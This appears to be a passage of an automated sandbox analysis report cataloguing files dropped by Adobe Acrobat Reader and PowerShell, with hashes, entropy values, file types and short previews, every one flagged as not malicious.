Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2727919405656465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfbPtdPeUkwRe9:YvXKXZBUTbd3q5GDV8Ukee9
MD5:	BD40DB5FDFA6132E5B2FCD44C8CC479E
SHA1:	AEFE5C5849EDBDA4EC7A3FF48F540B47BF9B6D29
SHA-256:	50F88843F23C264DD0F6C6887A6C47DD3B00A933805C37BDA7AF6297D18E3C19
SHA-512:	DBFAF645E09CA32CEF14E4BA72E10265EE002E7B7DCE0182D8A278808AF98E5971597452215C042E4DF2650C15E012480542C6CD0E9D19829ADC5C510921C2EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2757089826080845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJf21rPeUkwRe9:YvXKXZBUTbd3q5G+16Ukee9
MD5:	A0628D02887E3A3F009448CCEE5FA481
SHA1:	9A13436EC3B9BB7F8563B688801BB83D4EBCD68F
SHA-256:	F5B92922418D89F405BF4DEA9C1D1BC0E355C3BE89387974258B83F0FD011317
SHA-512:	94BC64C764307C93B133F9AEABE53108D56DA1A9EDF1B15E8FB0D0AAE7B9478B4C73766CDCC8BDEBDC0FF0854F517694668E36BC5225C190CE2317FFDCBE917D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663212926125281
Encrypted:	false
SSDEEP:	24:Yv6XTUX3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSY:YvewPBgkDMUJUAh8cvMY
MD5:	70E561BA5BB2C97EE93C2755720ABF91
SHA1:	E92B7A181A3EDB3437272D361B7122AD8ED8C160
SHA-256:	357A6EAB5E5B1BE3B9EE4F4DAD7D173E25F221A8CC5A6F1568B7DBA5E004AA8B
SHA-512:	6FA65A019A9A03B3C2BC3115116B220C1763940945F863822D7707EB02AC17788E6DFA0AAA26685C05EB7F50A876AF51A1FA7FCF56281E3E08A0F3CA70B36A1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.251902526744003
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJfshHHrPeUkwRe9:YvXKXZBUTbd3q5GUUUkee9
MD5:	EDA96346EB99D67D9E6D690943B5D3D3
SHA1:	AE1E0BDB3015F90B95AC5FFD0B0756EC5CA5BE52
SHA-256:	0B65A52EFDBAED8D88C8FE3C8EDFAABDEF412E2547D205951F5546234273FB89
SHA-512:	C8E9F9CB4F7D708BF8CECA6FD55372A033FCD59CE4C1ED45CE0A7484DAF3A5F78C265E18D3D573BCDC5FE3EC518458B3364C0F7B63A0BA501662BBC1CC3FC3CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2700257079006905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQyscq2HUXjb24kF0YJcqWxoAvJTqgFCrPeUkwRe9:YvXKXZBUTbd3q5GTq16Ukee9
MD5:	42D99BEFD9E84083C5F26E53CB8B9EFD
SHA1:	E0837D7E3F7681FEDB664D991330B9A8979FD91D
SHA-256:	795BFAF852CC3059E9E19B1D39F6A34DA1AF4AE63CBD4A0D76AC4AF6C9E463BC
SHA-512:	8CCE34E86D346C106500D7D61FB7EDB14B3F31E8020856BD4CAA7B404038CAE531C32551954F5BC89E3D25EEBFA85372EF90016519C042BFC4BC6AB7A3265E9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98745de7-1da4-4929-9618-e751b33f8e8c","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736699987765,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14901138109418
Encrypted:	false
SSDEEP:	48:YmbcfXegMJ7l++BAJAhVAe7uCxaghwj9PoJf:rc/egml++BThRuvgh+8f
MD5:	201ACCE01A16A5872D10F22CA13A5D89
SHA1:	BDBB83927EB9C3096748562693E3508AB8DE7E85
SHA-256:	5A66C2809124C20763ED1D04FF5F28511723032EE0E4077680992FADAE43A4CA
SHA-512:	15A3AF35F6B9BBACEF758F79864FB5CF4B4F3D2E4F52D7F0034F3ACB684A7347101F1872E52CA6915E29FD4675745E47C32D4394C26D9CA26F6492B2119720F2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"202088bf5bb2bd13a52074e84278f5b7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525643000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"11166f5d29c86db96b3ab2ef623ea42a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525642000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"947402153164e3fd34e2fb4073b6159a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525642000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"55ddd0658d3c9f497233baaf697cfd93","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525642000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6bbc2513ea836fbfd3a714f4501c16fa","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525642000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"ededc547e58641562c80b58c3a946b91","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319064095614124
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YbFGR+EXSqH:TGufl2GL7msUKB0M0+Tb608YJ9rRE
MD5:	62510D5663C98DB10A6DB04590C475D9
SHA1:	40DC28CFBE55245E38D1F275C2BB0CCF6B01A49D
SHA-256:	4367A45659BCE52526259A2104A5999A29EDBEE6FAE65F4EBB5366FEE2ED409B
SHA-512:	0429090C18048DFDB52F466DB1E8E380D602F6BFE069286681C287839A8A1EC985029D244A5404CD5496DBF03DA978D78CC454D992B555B6BB2975FAF5F7A929
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.78249236146209
Encrypted:	false
SSDEEP:	24:7+tQwl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YbFGR/EXSqXlyGKai9qLhx/XYH:7MQ+KB0M0+Tb608YJwrGKZqFl2GL7msG
MD5:	BFEB3B2C7BCACA9D29B56C4D2B9945C3
SHA1:	8FCD68F262A87A5FADFF8B930FE80D27ECC0F3E4
SHA-256:	95124400A6A1A1BD32D2116A535B794FFFC3EB7F6C64C9C0F1791BBF058B1908
SHA-512:	759400E615CB2D6EDE9949E121978532EB7B8A0BC409D3801F5C59C6F9B54220CCCE7D0FA464F3E984A3E638D997791A7A03CF24C77930674237992810E96F47
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgA7uzjBtlfAboikxQC4uM+mPiF1EmcjGYyu:6a6TZ44ADEA7uzduPkxQC4uhmP2K
MD5:	0EA23FD4C416A8A3246C46B45E650AD1
SHA1:	804A1F34A52D991001FD6AD4543C2B86B89BD7DA
SHA-256:	4D6BCABE928C07E2EEA11F06546B0659C2B8D196CF4D6165A221B79C84DD3D6A
SHA-512:	5708301FFDD6E68761F412A335A05F32B504FE36A53931C775E8487B356AA79CE559B73EC273D8CC25804F3526B1D706F9A1C166A89B0FE008A215A3E1088359
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI95bcb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEowCH:Qw946cPbiOxDlbYnuRK+bDol
MD5:	771B4D8A2609FFA3ACCC3DE254D1F6B3
SHA1:	C391DFE377F2FB68ABFC45A2BD515D13140EE75D
SHA-256:	7C324752955D2FFFCCF6BFD484AF6E5B93AA8926FB6B664C97CA16A762067E93
SHA-512:	A573DDDABBE15C204A1CAEEFD8AC31A4BA89E439D0122D6FD135260B6C2D41534B55558E7FFCFFE3B1242E90FA4E770DBE7BAC616E60085FC00708C99AEF9209
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.4.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r3bu1go1.13w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upe1ienn.m5x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ewcm0d_173tbmq_3k8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-13-54-539.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.3129977539782205
Encrypted:	false
SSDEEP:	384:+KuVqVVVCV2VRV6xVNV8V0V8kVnk3kxk1k2+X+9JvJtJOIGIvICIqDhihihYImIa:Cwota6Og3
MD5:	D24D8CA81C17EE0DFF52C77E91624376
SHA1:	1F70B20094291BAD39CA25A9128A2D3D03A8CF37
SHA-256:	AADF91F699820FC9743058D2DD240D0E4E67586326B0A808E176AAD14D561A68
SHA-512:	15EE7DBA8F847729DA664B1726C60BD05E7FF756DAB1608683EC17E7C4F01072AD84B2E690A6C15CB3D17C64BF079B9A4EA9AEB075BE801C7F94478FC10C79E3
Malicious:	false
Preview:	SessionID=9701acea-9dee-4d42-9843-e1d54c3335ba.1736525634551 Timestamp=2025-01-10T11:13:54:551-0500 ThreadID=1240 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9701acea-9dee-4d42-9843-e1d54c3335ba.1736525634551 Timestamp=2025-01-10T11:13:54:552-0500 ThreadID=1240 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9701acea-9dee-4d42-9843-e1d54c3335ba.1736525634551 Timestamp=2025-01-10T11:13:54:552-0500 ThreadID=1240 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9701acea-9dee-4d42-9843-e1d54c3335ba.1736525634551 Timestamp=2025-01-10T11:13:54:552-0500 ThreadID=1240 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9701acea-9dee-4d42-9843-e1d54c3335ba.1736525634551 Timestamp=2025-01-10T11:13:54:552-0500 ThreadID=1240 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399772382636893
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zm3:EGvIcNYdxBtG
MD5:	505457FF074B61CF872ECF5A7239C4B8
SHA1:	6DB29878BA546555F397C1035271E3673B2FD20C
SHA-256:	443EB243750D1F378D0B6D8E87AA1BEF94FF525CC9ACAA0F19A529DD5CA2EA03
SHA-512:	DF420C1543C0C57B8E1D180AA7AFD2FE28E2ECC06F75FB4165CF2ADB0B5041783CE9450DF57BC595E8B4778351B4986FB84141866C1A138148333ACB8E1CB776
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2e4c70aa-90ea-4623-a7f5-015d12c32249.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oSwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxSwZGBGZn3mlind9i4ufFXpAXkru
MD5:	83861FA7ACFA3650A6004BB1FDC18F93
SHA1:	441DEF17B266EAFA0777308C02FEEC8272A0E0B8
SHA-256:	1A30A52C3CAA02993AB28CC870EA47311507D0121DD4FC90AE734FA8AC58E867
SHA-512:	E11048B0B5D82D9015F93C9AB36AE4FC2ED72ABE50B27FC982962C9135E5B4EBB90FFD0D555265FBE405AC711D5D44D8B6A658BF9883D017C1E5F53C6CC8EDF8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\473ac241-6a63-4c38-af10-3c8977693d6b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
